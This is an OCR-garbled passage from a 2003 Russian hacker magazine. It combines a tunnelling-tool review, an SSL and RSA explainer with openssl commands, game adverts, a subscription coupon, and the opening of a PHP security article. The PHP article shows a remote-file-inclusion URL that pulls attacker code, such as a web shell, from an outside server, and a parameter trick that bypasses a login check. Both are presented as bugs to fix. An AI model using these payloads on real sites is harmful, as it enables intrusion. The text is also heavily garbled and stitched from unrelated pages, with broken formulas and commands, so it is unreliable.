машинами. Работает из команод- 
ной строки, но грамотный хелп 
сразу ответит на все вопросы. 
Огромный плюс - это возмож- 
ность работы под виндой и ник- 
сами, открытый код и отсутствие 
багов (по крайней мере таковых 
замечено не было). В качестве 
эксперимента было установлено 
Ир-соединение между двумя ма- 
шинами из одной локалки, а за- 
тем все это послушалось сниф- 
фером. Результат впечатляет. 
Ничего разумного сниффер не 
выдал :). Еще в плюсы сразу же 
записываем то, что прога замет- 
но не влияет на скорость коннек- 
та и при выставлении нужных 
параметров еще и сжимает дан- 
ные перед передачей по защи- 
щенному туннелю. Настроек 
Zebedee имеет очень много, но 
если тебе и этого мало, то автор 


предлагает слить с официаль- 
ной паги исходники и намутить 
какую-нибудь свою примочку. 
Так что дерзай! Это, конечно, не 
навороченный SSL, но альтерна- 
тива вполне достойная. Тем бо- 
лее, что SSL придется прикручи- 
вать к веб-серверу потипу Апа- 
ча, а этот абсолютно автономен. 
Так что если тебе надо перека- 
чать по сети офигенную эксклю- 
зивную порнушку, юзай Зебедай. 
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е могу назвать упоминание 
[= 06 этой соффтине полноцен- 

НОЙ НОВОСТЬЮ, HO ВСЕ Же :). 
Забывать старый добрый сосрт ни- 
коим образом нельзя, особенно 
если он дает фору новому :). Og- 
ним из таких желанных раритетов 
и является многострадальный М. 
Нельзя сказать, что он делает 
что-то особенное - просто с его по- 
мощью можно автоматизировать 
все функции, для которых надо 
либо юзать Start->Run->cmd, либо 
грузить какого-нибудь гиганта all- 
in-one. Он умеет пинговать, трейс- 
рутить, ресолвить IP, фингерить, 
хуизить и сканить :). Помимо всего 
прочего в нем есть клиентик для 
проверки РОРЗ почтовых аккаун- 
тов, сверялка времени и пара соп- 
nect-listen. Возвращай брови со 
лба на законное место - connect 
позволяет послать кому угодно 
что угодно в любой порт (можно 
юзать Kak шелл), а listen наоборот 
ждет данных в порте :). Плюс ко 
всему перечисленному, через ме- 
нюху доступны еще несколько 
справочных пунктов - IP, МАС, 
WinSock и текущие соединения 
локального компа, а также чекер 
скорости и генератор UDP-nake- 
тов. И все это удовольствие в 
удобном интерфейсе весит всего 
100 кило (50 в архиве). Так что 
закрываем глаза на то, что проге 
уже 4 года и качаем :). Не помеша- 
ет в Quick Launch'e... 
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Веб под замком 
Прикроем дыры тела 


ПОД ЗАМКОМ 


ТЕХНОЛОГИИ СОЗДАНИЯ 
ЗАЩИЩЕННЫХ СОЕДИНЕНИЙ 


Kirion (kkr@mailru.com) 


O3MOMHO, ты также pe- 

шишь хранить на нем важ- 

ную инофу или использо- 
вать его для секретной переписки. И 
тут во весь рост встает проблема безо- 
пасности... 


ЛАЗУТЧИК CO СНИФФЕРОМ 

Не секрет, что безопасности в протоко- 
лах ТСРЛР нет. Что ЕТР-соединение, 
что НТТР-соединение может быть пе- 
рехвачено, прочитано и искажено. Ко- 
нечно, если это Джон Смит, заходящий 
по паролю на порносайт, то особой 
опасности перехват его пароля не не- 
сет (ну подумаешь, заплатит еще раз 
:)). A вот если это номер кредитки Джо- 
на Смита, по которой он регистрировал- 
ся на этом сайте, - это уже интереснее. 
В моей локальной сети огромное коли- 
чество умников, вечно сниффающих 
трафик - попрощайтесь с мылом, ась- 
кой, ником на ирке, сайтом. Еще не 
страшно? Конфиденциальность и сек- 
ретность нужны всем, особенно в свете 
всеобщей борьбы с терроризмом и не- 
бывалой активизации спецслужб в пла- 
не контроля над личной жизнью граж- 
дан :). Над вопросом обеспечения кон- 
фиденциальности данных при переда- 
че по сети крупные компании задума- 
лись достаточно давно. Технологии для 
шифрования были - надо было приспо- 
собить их для Интернета. Результатом 
работы стал официальный протокол 
Secure HTTP (RFC 2660), однако он не 
получил особой распространенности. А 
все потому, что компания Netscape раз- 
работала протокол SSL (Secure Socket 
Layers), который и получил наиболь- 
шую популярность и распространение 
(что неудивительно, если вспомнить, 
какой браузер был лидером долгие го- 
ды :)). Популярность SSL также опреде- 
лила его независимость от платформы 
и программной реализации. Протокол 
был разработан на принципах перено- 
симости и не зависит от приложений, в 
составе которых он используется. Кро- 
ме того, хотя сам протокол и непрозра- 
чен для приложений, поверх него могут 


накладываться и другие протоколы, 
например для увеличения степени за- 
щиты или для применения SSL в другой 
области. То есть если в проге нет под- 
держки SSL - ни фига у тебя работать 
не будет. А если поддержка есть - то ты 
можешь забыть, что SSL вообще суще- 
ствует, и использовать любые протоко- 
лы прикладного уровня (модель 
ISO/OSI, куда же мы без Hee), например 
- проверять почту, лазить по ЕТР, смот- 
реть чужие ресурсы через NetBios, ну и 
естественно - работать с НТТР. Во всех 
этих протоколах можно применять SSL 
для шифрования данных. Можно еще и 
дополнительную защиту прикрутить - 
протокол это позволяет. Если хочешь - 
можешь сравнить две реализации бе- 
зопасного протокола: про Secure HTTP 
можно почитать на 
www.faqs.org/rfcs/rfc2660.html, 

а про SSL Ha home.netscape.com/eng/ 
ssl3/draft302.txt. Знание технического 
английского приветствуется (можешь 
перевести и отослать мне - получишь 
приз :)). 


БОЖЕСТВЕННАЯ АСИММЕТРИЯ 
Криптография существует давно. За 
долгие годы было разработано множе- 
ство систем шифрования, однако все 
они имели один существенный недоста- 
ток: они были симметричные. То есть 
для шифровки и расшифровки инфор- 
мации используется один и тот же 
ключ. При передаче данных мы сталки- 
ваемся с двумя проблемами: во-первых, 
нужно передать ключ всем нужным 
участникам, а без надежного канала 
это небезопасно, а во-вторых, нам по- 
надобится большое количество ключей 
для разных каналов (ты ведь не соби- 
раешься выделять один и тот же ключ 
для своей девушки Оли и своей другой 
девушки Маши :)). Проблемы были ре- 
шены с появлением технологии асим- 
метричного шифрования (появилась 
она всего-то лет 20 назад). Принцип 
асимметричного шифрования в том, 
что существует пара ключей: открытый 
и закрытый. Зашифровав информацию 
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открытым ключом, ты можешь 
расшифровать ее только закры- 
тым, причем по открытому ключу 
невозможно (или очень и очень 
сложно) узнать закрытый ключ. 

Одним из первых практически 
применимых алгоритмов стал an- 
горитм RSA (назван по инициа- 
лам создателей: R.Rivest, 
A.Shamir, L.Adleman). Математи- 
ческий принцип на самом деле 
несложен, но чтобы не загружать 
твои бедные компьютерные моз- 
ги еще и формулами :), попыта- 
юсь объяснить «на пальцах». 
Имеются два числа: наш откры- 
тый и закрытый ключи. Они мате- 
матически связаны с некоторым 
третьим числом, однако никак не 
связаны между собой. Открытый 
ключ доступен любому человеку, 
его можно разослать всем друзь- 
ям, повесить Ha паге и T.g. - с его 
помощью будет шифроваться ин- 
фа. Над информацией произво- 
дится необратимая математичес- 
кая операция с помощью откры- 
того ключа и третьего числа (не- 
обратимая - это значит по откры- 
тому ключу, третьему числу и ре- 
зультату нельзя будет узнать ис- 
ходные данные). Обратная же 
операция возможна только с ис- 
пользованием математической 
зависимости между закрытым 
ключом и третьим числом. Еще не 
уснул? Если все же горишь мате- 
матическим любопытством - заг- 
ляни на врезку, там все объясне- 
но в формулах. 

Но не все так гладко. Есть чисто 
техническая проблема: операция 
шифрования большого количест- 
ва информации по асимметрич- 
ным алгоритмам требует значи- 
тельных вычислительных мощ- 
ностей. Процесс расшифровки 
тоже занимает довольно много 
времени. В принципе, это не 


очень страшно, но мы-то серфим 
в Инете. Нам же не хочется си- 
деть на выделенке и иметь ско- 
рость, как на поганом момеде в 
районе с шаговой АТС :). Реше- 
ние нашлось простое и элегант- 
ное: уже давно есть симметрич- 
ные шифры, которые не предс- 
тавляют сложности для совре- 
менных компов. Каждый раз при 
установлении соединения гене- 
рируется симметричный ключ 
(ключ сеанса), которым непосред- 
ственно шифруется инфра. Он, в 
свою очередь, шифруется откры- 
тым ключом и передается по ка- 
налу связи. Так еще и дополни- 
тельную защиту имеем в виде 
ключа сеанса, который каждый 
раз новый. 


ПРИМЕРНЫЙ АЛГОРИТМ ШИФ- 
РОВАНИЯ RSA 

Берем два простых числа р и 4. 
Вычисляем их произведение 
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n(=p*q). Выбираем число e (e<n), 
такое, что HOL(e,(p-1)(q-1))=1, To 
есть у числа e и числа (p-1)(q-1) не 
должно быть общих делителей 
(НОД - наибольший общий дели- 
тель). Решаем в целых числах 
уравнение e*d+(p-1)(q-1)*y=1. 
Здесь неизвестными являются 
переменные 4 иу. Два числа (e,n) 
- это открытый ключ, размещай, 
где хочешь. Число 4 - это и есть 
закрытый ключ, который позво- 
лит расшифровывать все, что за- 
шифровано с помощью пары чи- 
сел (е,п). Смотри на скрин с фор- 
мулами и читай дальше. При 
шифровании инфа разделяется 
на блоки, к каждому из которых 
применяется операция из пункта 
(1), где т - инфа, а с - шифрован- 
ная инфа. Операция возведения 
в степень по модулю простого 
числа является необратимой ма- 
тематической задачей. Обратная 
ей задача носит название «лога- 
рифмирование в конечном поле» 
и является значительно более 
сложной. Даже если некто знает 
числа е ип, то по с прочесть ис- 
ходные сообщения т он не мо- 
жет никак, кроме как полным пе- 
ребором т. Все бы было совсем 
плохо, если бы не теорема Эйле- 
ра, частный случай которой утве- 
рждает, что если число п предс- 
тавимо в виде двух простых чи- 
cen ри 4, то для любого x имеет 
место равенство (1). Для дешиф- 
ровки информации воспользуем- 
ся этой формулой. Возведем обе 
ее части в степень (-у). Получит- 
ся равенство (2). Теперь умно- 
жим обе ее части на х: результат 
смотри под пунктом (3). А пос- 
кольку у нас есть равенство 
e*d+(p-1)(q-1)*y=1, то есть e*d=(- 
y)(p-1)(q-1)+1. Отсюда следует pa- 
венство (5). Применим это к на- 
шему шифрованному сообще- 
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Есть чисто | | 
техническая 
проблема: 
операция ши- 
фрования 
большого ко- 
личества ин- 
формации по 
асимметрич- 
ным алгорит- 
мам требует 
значитель- 
ных вычисли- 
тельных 
мощностей. 


Конечно, 
если это | 
Джон Смит, 
заходящий по 
паролю на 
порносайт, то 
особой опас- 
ности перех- 
ват его паро- 
ля не несет 
(ну подума- 
ешь, запла- 
тит еще раз 
:)). 


В ПРОДАЖЕ С 22 АПРЕЛЯ 
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Warcraft Ill: The Frozen Throne — Блистательное 
продолжение гениальной RTS нового поколения. 
World of Warcraft — больше, чем просто MMORPG, 
лучше, чем жизнь! 


«КРИ» — Это съезд, слет, тусовка людей, 
непосредственно причастных к индустрии, и тех, 
кто собирается влиться в движение. Цель — чистая 
польза. Концентрация талантов была так велика, 
что на «КРИ» шагу нельзя было ступить, не 
встретив аристократов индустрии. 


SHINING FORCE: 
СВЕТ В КОНЦЕ ТУННЕЛЯ 


История легендарного згаеду/ВРС-сериала. 
После долгих лет затишья на бате Воу Адуапсе 
появилась новая часть великой Shining Force. 
Самое время вспомнить, что значит она для нас 


XENOSAGA EPISODE |: 
DER WILLE ZUR MACHT 


Xenosaga Episode | вряд ли выйдет в Европе, a 
потому нам приходится рецензировать штатовскую 
версию игры. Неординарный проект, ничуть не 
похожий на Final Fantasy Х и оттого только более 
притягательный. 


ОПЕРАЦИЯ SILENT STORM 


Сначала «Операция Silent Storm» показала чистый 
лик реализма, а потом вдруг взяла да и куснула 
научно-фантастической пастью. 


DUALITY 


Если вы знакомы с произведениями Уильяма 
Гибсона и Филипа Дика, в мире Duality вы будете 
как дома. 


Игры: 


Warcraft Ш: The Frozen Throne * World of 
Warcraft * «Операция Silent Storm» « 
Xenosaga Episode |: Der Wille zur Macht * 
Indiana Jones and the Emperor's Tomb « Duality 
* Tenchu: Wrath of Heaven * Vietcong * Jurassic 
Park: Operation Genesis + Tom Clancy's 
Rainbow Six 3: Raven Shield « .hack//Infection 
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Хранилище сертификатов в IE 


нию: получим пункт (6). Все лег- 
ко, правда :)? 


ЧЕЛ, ПОДПИШИ МНЕ 
СЕРТИФИКАТ! 

Однако есть и еще одна пробле- 
ма, и связана она уже не с техни- 
кой, а с человеческим фактором. 
Итак, тебе нужно связаться с 
важным человеком, ты находишь 
в сети его открытый ключ, шиф- 
руешь сообщение, посылаешь... 
Стоп! А откуда ты знаешь, что 
открытый ключ именно его? А 
вдруг это злобный недруг, кото- 
рый перехватил чужой мыльник и 
теперь постит везде свой откры- 
тый ключ :). Проблема однознач- 
ного определения соответствия 


корневые центры сертификации 


и далее по ступенькам к личным 
сертификатам. Корневой центр 
подписывает свой сертификат 
сам, а все последующие - у пре- 
дыдущих центров. Сертификаты 
выдаются на определенное вре- 
мя (как правило, на год). Кроме 
того, сертификационные центры 
должны вести список отозванных 
сертификатов, недействительных 
сертификатов, сертификатов, ли- 
шившихся доверия. Естественно, 
они делают это не бесплатно. Так 
сертификат на год у РосБизнес- 
Консалтинга (как филиала 
Thawte) стоит около 200 баков. A 
вот сертисфикат у VeriSign (пожа- 
луй, самая известная компания в 
данном секторе) стоит под 1000. 
За что такие деньги? А за дове- 
рие! Представь, что ты задался 
целью найти телефон Дани Ше- 
повалова. Ты можешь пойти на 
рынок и купить телефонную базу 
России, а можешь довериться со- 
седке тете Клаве, которая обяза- 
тельно сообщит его тебе вместе с 
кучей сплетен и свежих новостей 
:). База стоит денег, а тетя Клава 
даст тебе инфу бесплатно, толь- 
ко вот если ты дозвонишься не 
Mane, а в приемную ФСБ - я не 
виноват :). Так какому сертифи- 
кату ты будешь больше дове- 
рять: подписанному уважаемой 


1. с = (@ап)°)тодп 


2. (<x?) подп =1 

3. PP) )тодп= Я =1 

4. СОРА )тодп=1хх=х 

5. КО подп = (х”)тодп=х 


6. (с“)то4п = (п )тодп = т 


Шифрование RSA в формулах 


человека (группы людей, органи- 
зации, мыльника, сайта и т.д.) и 
его открытого ключа - это доволь- 
но серьезная проблема. Реши- 
лась она с введением сертифика- 
тов и сертификационных центров 
(Certificate Authority, CA). 
Сертификат устанавливает 
связь между открытым ключом и 
реквизитами его владельца, как 
то: адресом электронной почты, 
названием организации (именем), 
географическим местоположени- 
ем, а также некоторыми парамет- 
рами самого ключа (алгоритм 
шифрования, ограничения, тип 
ключа) и сертификата. Каждый 
сертификат подписывается упол- 
номоченной организацией - СА. 
Существует иерархия СА - навер- 
ху находятся так называемые 


мировой организацией или безы- 
мянным админом в соседней кон- 
торе? 

Сертификаты можно применять 
не только для защиты сайта, но и 
для защиты мыла (с помощью 
надстройки secure MIME), для 3a- 
щиты исходников (если ты прог- 
раммер) и, что важно, для цифро- 
вой подписи. Цифровая подпись 
- вещь нужная: при передаче ин- 
формации по сети получатель 
(да и сам отправитель) должен 
быть уверен, что чел, от которого 
пришла инора, - TOT, за кого он се- 
бя выдает, и что информация не 
была искажена (умышленно или 
случайно). Первая проблема ре- 
шается асимметричным шифро- 
ванием наоборот, то есть сооб- 
щение шифруется закрытым клю- 


чом. Соответственно, расшифро- 
вать его можно только открытым 
ключом, а он прописан в серти- 
фикате вместе с реквизитами 
владельца. 

Вторая же проблема решается 
тем, что шифруется не само со- 
общение (еще не забыл, что это 
трудоемкий процесс?), а хэш- 
функция от этого сообщения. 
Что такое хэш-функция? Это 
функция, обладающая бесконеч- 
ной областью определения, но 
конечной областью значения и 
одной интересной особенностью: 
даже при небольшом изменении 
входного значения значение 
функции меняется радикально. 
Основное назначение хэш-функ- 
ций в криптографии - это генера- 
ция ключей на основе коротких и 
запоминаемых паролей (слабо 
запомнить 16 шестнадцатерич- 
ных разрядов?). Применительно 
к цифровой подписи это означа- 
ет, что если содержание сообще- 
ния изменится на пару байт, то 
изменится и хэш-функция от 
текста, причем кардинально. Со- 
общение уже невозможно будет 
расшифровать, а значит - невоз- 
можно подделать. Убедился в 
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Один из корневых сертификатов VeriSign 


том, что цифровая подпись руль- 
ная вещь? Только не спеши бе- 
жать ее получать. Благодаря на- 
шей Государственной Думе ис- 
пользование цифровой подписи 
разрешается только государ- 
ственным органам и корпораци- 
ям, да и то с разрешения ФАПСИ 
(ну, теперь, вероятно, ФСБ). При- 
чем выдать тебе ее должен 
центр, сертифицированный тоже 
ФАПСИ. А алгоритмы шифрова- 
ния несовместимы с европейски- 
ми. И почему у нас все через 
задницу :(? 


SSL В ДЕЙСТВИИ 

Вернемся к самому SSL. Что же 
происходит, когда ты видишь 
символ замка в углу своего осли- 
ка? Ну, во-первых, ты коннек- 
тишься к 443 порту (стандартно) 
сервака, a URL принимает вид 
https://. Если сертификат серве- 
ра не относится к числу доверен- 
ных (а таких великое множество 


- доверенными являются только 
сертификаты от известных СА; 
загляни в «свойства обозревате- 
ля > содержание > сертифика- 
ты»), то браузер выдаст npegyn- 
реждение и предложит устано- 
вить сертификат в хранилище, 
чтобы в дальнейшем не беспоко- 
ить людей по мелочам. Тут, кста- 
ти, стоит отметить, что 128-раз- 
рядный ключ поддерживается 
только в IE для США и Канады, 
так как по законам США запре- 
щен экспорт сложных криптосис- 
тем. Остальным же придется go- 
вольствоваться 40-разрядными 
ключами, которые вполне реаль- 
но расшифровать, причем не 
прибегая к сильно дорогостоя- 
щей технике. Привет всем поль- 
зователям лицензионных рус- 
ских виндов :). После установки 
соединения происходит так на- 
зываемый SSL Handshaking: сер- 
вер и браузер посылают друг 
другу приветствия, содержащие 
в себе необходимую информа- 
цию для установления безопас- 
ного соединения - вроде версии 
протокола, идентификатора сес- 
сии, способа шифрования, мето- 
да компрессии и тому подобных 
вещей. Далее генерируется ключ 
сессии, шифруется открытым 
ключом и отсылается серверу. 
Все, безопасное соединение ус- 
тановлено. Кроме того, сервер 
может потребовать от клиента 
его собственный сертификат, та- 
кая модель безопасности тоже 
используется, но в основном в 
корпоративных сетях: делать на 
всех пользователей сертифика- 
ты - это ни времени, ни денег не 
напасешься. 


СЕРТИФИКАЦИЯ И УСТАНОВКА 
Ну а теперь, когда ты оконча- 
тельно созрел к установке SSL Ha 
свой проект, потрем о процедуре 
получения сертификата. Будешь 
ли ты подписывать его сам или 
решишь раскошелиться на под- 
пись в СА - это неважно. Сгене- 
рировать собственный сертифи- 
кат тебе придется либо с по- 
мощью OpenSSL, либо с по- 
мощью Microsoft Cerificate 
Services. Если ты используешь 
для сайта ISS или тебе нужен 
сертификат для работы в корпо- 


Ска 


Г Импортируем сертификат ; г 


ративной сети на основе Win2k с 
Active Directory, то лучше выб- 
рать продукт от мелкомягких. Ес- 
ли же ты будешь пользоваться 
Апачем (все равно, под какую 
платформу) - то выбирай 
OpenSSL. MCS 2.0 входит в пос- 
тавку Win2k advanced server. Ва- 
риантов установки много. Нумбер 
ван: лезем в «установка и удале- 
ние программ > компоненты 
Windows». Там выбираем «Служ- 


Управление сертификатами 
в одной консоли 


ба сертификации». Если в сети 
имеется Active directory, то будет 
предложено создать сертификат 
для работы в корпоративной сети 
(подозреваю, что тебе это на фиг 
не нужно :)). В любом случае нас 
будут интересовать только два 
последних пункта: создание кор- 
невого сертификата и создание 
подчиненного сертификата. Если 
решил подписывать все сам - вы- 
бирай первый пункт. Далее вни- 
мательно заполняй все поля 
формы и сохрани сертификат в 
файл - еще пригодится. После 
всей процедуры на компе старту- 
ет MSC, и ты сможешь сам подпи- 
сывать сертификаты другим лю- 
gam. Можешь даже брать с них 
деньги :). А можешь легко прик- 
рутить его к работающему на том 
же компе IIS. Способ нумбер ту: 
если в сети уже есть работающая 
служба MSC, то ты можешь обра- 
титься к ней через оснастку 
«Сертификаты» (пуск > выпол- 


05(30) 2003 a 


re 
= = 


ISEL{AL-938 


Bnarogapa 
Думе ис- Ш 
пользование 
цифровой 
подписи раз- 
решается 
только госу- 
дарственным 
органам и 
корпорациям, 
да и то с 
разрешения 
ФАПСИ. 


Итак, тебе | | 
нужно связа- 
ться с важ- 
ным челове- 
ком, ты на- 
ходишь в се- 
ти его от- 
крытый 
ключ, ши- 
фруешь со- 
общение, по- 
сылаешь... 
Стоп! А от- 
куда ты зна- 
ешь, что от- 
крытый ключ 
именно его? 


ВЕБ-ТУЛЗЫ 


Сейчас почти 
у всех плат- 
ных хостин- 
гов есть под- 
держка SSL. 


раде FE 


нить > certmgr.msc) или с по- 
мощью браузера, введя что-то 


вроде http://uma cepBepa/CertSrv. 


Заполняешь анкету, сохраняешь 
сертификат. 


С мелкомягкими закончили, пе- 
рейдем к OpenSSL. Эту прогу 
можно скачать в исходниках с 
www.openssl.org. Естественно, 
она предназначена для юниха, 


однако на сайте есть инструкции, 


что надо поменять в исходниках, 
чтобы они откомпилились под 
виндами. OpenSSL - прога для 
команоной строки. Поддержива- 
ет SSL 3.0 и кучу алгоритмов 
шифрования. Фактически это 
стандарт. Если ты собираешься 
использовать OpenSSL вместе с 
Апачем на своем компе, то при- 
дется зайти на Www.modssl.org. 
ModSSL - это интерфейс 
OpenSSL для Апача. Если хоть 
раз прикручивал модули (тот же 
modperl, например) - разберешь- 
ся, в крайнем случае заглянешь 
в документацию. Только сначала 
нужно собрать OpenSSL. Если те- 
бе совсем уж в лом изучать go- 
кументацию, можно скачать с 
сайта разработчика перловый 
скрипт (СА.р!), облегчающий соз- 
дание и подпись сертификатов. 
Но лучше все же почитать про 
все возможности командной 
строки, дабы правильно выбрать 
формат ключа, разрядность и 
T.g. В общем случае нам надо 
сгенерировать ключ, потом соз- 
дать запрос на получение серти- 
фиката, а потом его подписать. 
Можно это сделать так: «openssl 
genrsa -out Кеу.рет 1024» - cre- 
нерировали 1024-разрядный 
ключ по алгоритму RSA в форма- 
те pem. «openssl req -new -Кеу 
key.pem -out гед.рет» - создали 
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Да здравствуют GPL проекты! Сайт OpenSSL 


запрос в формате рет (тут при- 
дется отвечать на вопросы про 
реквизиты; не стоит тупо шутить 
- это потом увидят все люди, ус- 
танавливающие твой сертифи- 
кат). «openssl х509 -days 365 - 
reg -т гед.рет -signkey Кеу.рет - 
out cert.pem» - подписали свой 
сертификат на год. Можно было 
все сделать и в одной команде: 
«openssl req -х509 -days 365 - 
newkey rsa:1024 -keyout key.pem 
-out reg.pem». Возможностей 
очень много: тут и куча видов 
шифрования, и перевод в другие 
форматы и алгоритмы. Хотя, ско- 
рее всего, тебе понадобятся 
только генерация да подпись. 
Сертификат мы создали, но что 
нам с ним делать на хостинге? Не 
волнуйся, почти у всех платных 
хостингов есть поддержка SSL. 
Если найдешь подобную услугу 
на бесплатных хостингах, напиши 
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- буду благодарен. Где-то SSL 
включен в стоимость, где-то нуж- 
но платить отдельно. Более того, 
некоторые хостинги предлагают 
услуги СА по льготным ценам - 
может, и решишься отдать свои 
кровные 100 баксов :). Загрузка 
собственного сертификата и наз- 
начение защищенных страниц 
происходит, как правило, из стан- 
дартного админского интерфейса. 
Кроме того, я бы посоветовал ис- 
пользовать сертификат при лич- 
ной переписке - The bat прекрас- 
но умеет использовать не только 
PGP, но и Secure MIME (то бишь 
сертификаты). Тем более, что это 
удобнее (как мне кажется). 


ТОТАЛЬНАЯ БЕЗОПАСНОСТЬ 

В наше безумное время пробле- 
мы конфиденциальности и безо- 
пасности стоят так остро, как ни- 
когда. Некоторые мои знакомые, 
еще пару лет назад не восприни- 
мавшие серьезно использование 
средств шифрования в домаш- 
них условиях, теперь полностью 
перешли на шифрованную пере- 
mucky. Рано или поздно нам всем 
придется делать себе электрон- 
ную подпись. «Каждая кухарка 
должна уметь пользоваться 
PGP». Поддержка SSL есть почти 
на всех почтовых серверах, на 
всех хостингах. И это только на- 
чало. Уже довольно давно прод- 
вигаются протоколы IPsec, PPTP, 
L2TP, обеспечивающие шифро- 
вание на сетевом и канальном 
уровнях (модель OSI помнишь?), 
которые прозрачны для прило- 
жений. То есть написание сете- 
вых программ, использующих бе- 
зопасные соединения, станет 
намного проще. Мы движемся в 
новый мир, мир тотальной безо- 
пасности. Только вот почему мне 
от этого становится не по себе? 


заказной бандарнилью | 


переулок, д 4, строение 2, ooo 
“Team Пэнд” (с пометкой 
"Редакционная подписка”), 


электронную почту или факс. 


Подписка производится с 
момера, выходащего через 
один календарный месяц 
после оплаты. Например, 
вспи вы производите оплату в 
Сентабре, то подписку можете 
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subseribe_xs(@gameland.ru 
млн по Ten. (095)292-3908, 
292-5463 


подписной КУПОН (подписка через редакцию), 
Прошу оформить подписку на журнал "ХакерСпец” 


СП Наб масяцев (начиная с 2003 г.) 


С На 12 меслцев (начиная с 2003 г.) 
(Tero cope, выбраевого варнанти hoa) 


ФИО. 

| ОО; «ООС. ЗОО. ООО 
Cyan ryt 

Подпись Дата mall 


WH — 7720410018 ОО"ГеймЛэна" 
ЗАО «Международный Московский Бонк», г Москва 
pic №40702810700010298407 
ниже — 

БИК 044525545 

Прательышия 

Адрес (с mannan) 


Hanemenne 


Назначение платежа 
Onna журнала “ose” 
за 200 г. 


MAH тРамисиь ООСИГеймИэнд” 

ЗАО «Межлучародный Macaca Gane, г Москва 
р/с №40702610700010298407 

ке №30101810300000000545 

БМК 4525545 

Плательшых 


Априн 0G виденосхим | 


Hasan Me Сумыа 
Oriana эпурнала “Жане” 
зи г 
Квитанция 
Падлидь плательщика 
Кассир 


EAS Eee мощам лм OPM ARM ГОДЕ необходимо прнепать залюку на полученные счета дла оплаты по пдресу 


tubueribe зе лее 6. wan no факсу 924-9094 [2 пометкой "реданцыонтнся подиемема” |. В залные YRS Roe банновеные 
реквизиты и ддрее получатетя. Подетисна офоромоллется на 12 меслауеи, начиная © месяца, следующего ттосияе олтоаагьт, 


ВТЕМ/ПРИКРОЕМ ДЫРЫ ТЕЛА 


ВЕБ-ТУЛЗЫ 


| Для фильтра- 


ции данных, 
которые бу- 
дут участво- 
вать в SQL- 
запросе, мо- 
жешь вос- 
пользоваться 
функцией 
mysgl_escape_ 
string. Почи- 
тай статьи по 
SQL-Injection 
для большего 
ознакомления 
- их сейчас 
очень много. 
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ManderX (forother@fromru.com) 


PHP-BUGZ В ЗАЩИТЕ И НАПАДЕНИИ 


ПРИКРОЕМ ДЫРЫ ТЕЛА 


| 
| А’ ° | иногда кодер, полу- 

| / ‚ ‘| чивший задание, 

ks = просто сливает гото- 
вый бесплатный (а также дыря- 
вый в придачу) скрипт, получает 
гонорар и идет пить пиво. Ре- 
зультат один - тебя натянут по 
самые гланды. Tak вот, в этой 
статье ты, возможно, увидишь 
много знакомого (нет чела, кото- 
рый бы не знал include-bug), но и 
новое ты тут точно найдешь. При- 
крой дыры! 


INCLUDE-BUG 

Вот только не надо матюгаться, 
сам знаю, что баг очень извест- 
ный, единственное, могу сказать, 
что повторение - совсем не мать 
учения и даже не сестра (память- 
то все-таки тоже надо иметь!). Мы 
будем идти от известного к мало- 
известному. Так вот, допустим, у 
нас есть такой скрипт: 

? 


include(Sfile); 
?> 

Если переменная Sfile He была 
определенна вначале, то можно 
проинклудить свой пхп-код: 
www.server.com/script.php?fi- 
le=http://drygoi.servak.com/destr- 
code.txt 

А в destrcode.txt написать свой 
деструктивный код: 
? 
/* что-то очень плохое, например, веб- 
шелл*/ 
?> 

Ha расширение .txt He смотри, 
все равно код в этом файле меж- 
gy <? ?> исполнится. Некоторые 
для защиты используют при пе- 
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Include bug 


редаче данных OT пользователя 
метод РОЗТ, но это себя не опра- 
вдывает, так как можно сохра- 
нить форму отправки у себя на 
винте, и даже проверка на 
HTTP_REFERER не поможет. Наи- 
более грамотный выход - это ста- 
ВИТЬ ./ (показывает, что файл на- 
ходится в текущей дире) перед 
файлом, который надо инклуд- 
нуть. Кстати, попробуй набрать а 


http://phpclub.chat.ru/files/php_manual_newchm_en_2001_10_14.chm 
- качаем полный док по php с комментариями пользователей. 
http://php.spb.ru/php/session.html - великолепная статья, объясняю- 
щая, что такое сессии и как их правильно использовать. 
http://php.spb.ru/regular_expression.html - регулярные выражения. 
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«Яндексе» эту строку: «mysql too 
many connection inc». 

Еще пару слов о неинициализи- 
рованных переменных. Допустим, 
есть такой код: 
<? 

/*Проверка пароля и логина, введенного 
пользователем, если пароль и логин вер- 
ны, т0:*/ 

Slogged=true; 


if(Slogged){ 
echo «Инфа для 3aperaHHblx»; 
?> 

Так вот, если дописать параметр 
logged=true, то ты получишь go- 
ступ к закрытой зоне. Ой, что бу- 
дет-то =)! Выход: отключить CO3- 
дание переменных и обращаться 


к данным, поступающим от поль- 
зователя, через массивы 
HTTP_GET/POST/COOKIE_VARS 
или же инициализировать пере- 
менные вначале. Первый способ, 
ИМХО, лучше. 

Кстати, советую просматривать 
сорцы паги на наличие hidden-no- 
лей при исследовании. 


ПОЛЬЗОВАТЕЛЬСКИЕ ДАННЫЕ 
То, что непроверенные данные, 
получаемые от пользователя, 
опасны для сервака, и ежу понят- 
но. Сейчас я расскажу, как защи- 
титься, и разложу все по полкам: 


function cleanstr(Sstring) { 
return htmlspecialchars(strip- 
slashes(Sstring)); 


} 


htmlspecialchars - вырезает все 
тэги, но порой необходимо, что- 
бы пользователь смог вставить 
картинку, для этого лучше соз- 
дать свой тег. Правда, будь вни- 
мателен - юзер вместо картинки 
может вставить скриптик. В руб- 
рике «Типс» нашего сайта был 
хороший пример, как в поля е- 
mail и homepage можно было на- 
писать кое-что интересное =). 


Потом делаем запрос к MySQL. Скажу сра- 
зу, что шифровать пароли пучше MD5, 
поэтому при регистрации нового юзера в 
таблицу вносится не чистый пароль, а за- 
шисорованный сфункцией md5(). 


1. Системный вызов - обрабаты- 
вай данные, введенные пользова- 
телем, сфункциями 
escapeShellCmd() и escapeshellarg(). 


i a 


Зашли не оттуда, откуда надо... 


2. Вывод данных (не забываем, 
что переменные окружения тоже 
создаются клиентом и могут быть 
опасны), это касается форумов, 
чатов, анкетирования и т.д. 

21. Данные нужно обработать 
функциями stipslashes(), htmlispe- 
cialchars(), strip_tags() (использо- 
вать по желанию). А лучше всего 
будет написать функцию: 
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Догадайся, какие символы надо 
фильтровать? 

Если же ты любитель регуляр- 
ных выражений, то держи пароч- 
ку примеров (а лучше сам разбе- 
рись, тогда и научишься выре- 
зать из строки то, что тебе надо). 

Запретим пользователю исполь- 
зовать в своем нике любые сим- 
волы, кроме букв русского и ла- 
тинского алфавита, знака «_» 
(подчерк), пробела и цифр: 


if (preg_match(«/[A(\w)|(\x7F-\xFF)|(\s)1/», 
Susername)) { 

echo «Я те хакну!»; 

exit} 
} 

Для поля ввода адреса e-mail 
добавим в список разрешенных 
символов знаки K@» и «.», но 
уберем русские буквы и пробел: 


